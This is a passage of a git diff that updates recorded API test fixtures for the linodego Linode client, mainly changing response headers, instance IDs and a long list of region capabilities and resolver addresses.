object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -425,7 +636,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46938050 + url: https://api.linode.com/v4beta/linode/instances/59542181 method: DELETE response: body: '{}' @@ -441,15 +652,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:27:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -462,9 +677,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestIPv6Range_Share.yaml b/test/integration/fixtures/TestIPv6Range_Share.yaml index e0d7d5268..046f09e89 100644 --- a/test/integration/fixtures/TestIPv6Range_Share.yaml +++ b/test/integration/fixtures/TestIPv6Range_Share.yaml @@ -16,113 +16,134 @@ interactions: response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, - 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, - 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, - 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, - 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-iad", "label": - "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, - 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-ord", "label": - "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", - "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", - "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", - "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, - 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, - 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, - "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": - "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, - 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "se-sto", "label": - "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, - 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", - "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "es-mad", "label": - "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "in-maa", "label": - "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, - 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "jp-osa", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "it-mil", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -131,7 +152,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-mia", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -140,7 +162,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "id-cgk", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -149,7 +172,8 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-lax", "label": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": @@ -158,65 +182,75 @@ interactions: "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-central", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, - 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, - 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU - Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", - "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block - Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", - "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": "core"}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, - DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": - "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, - 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "site_type": + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage 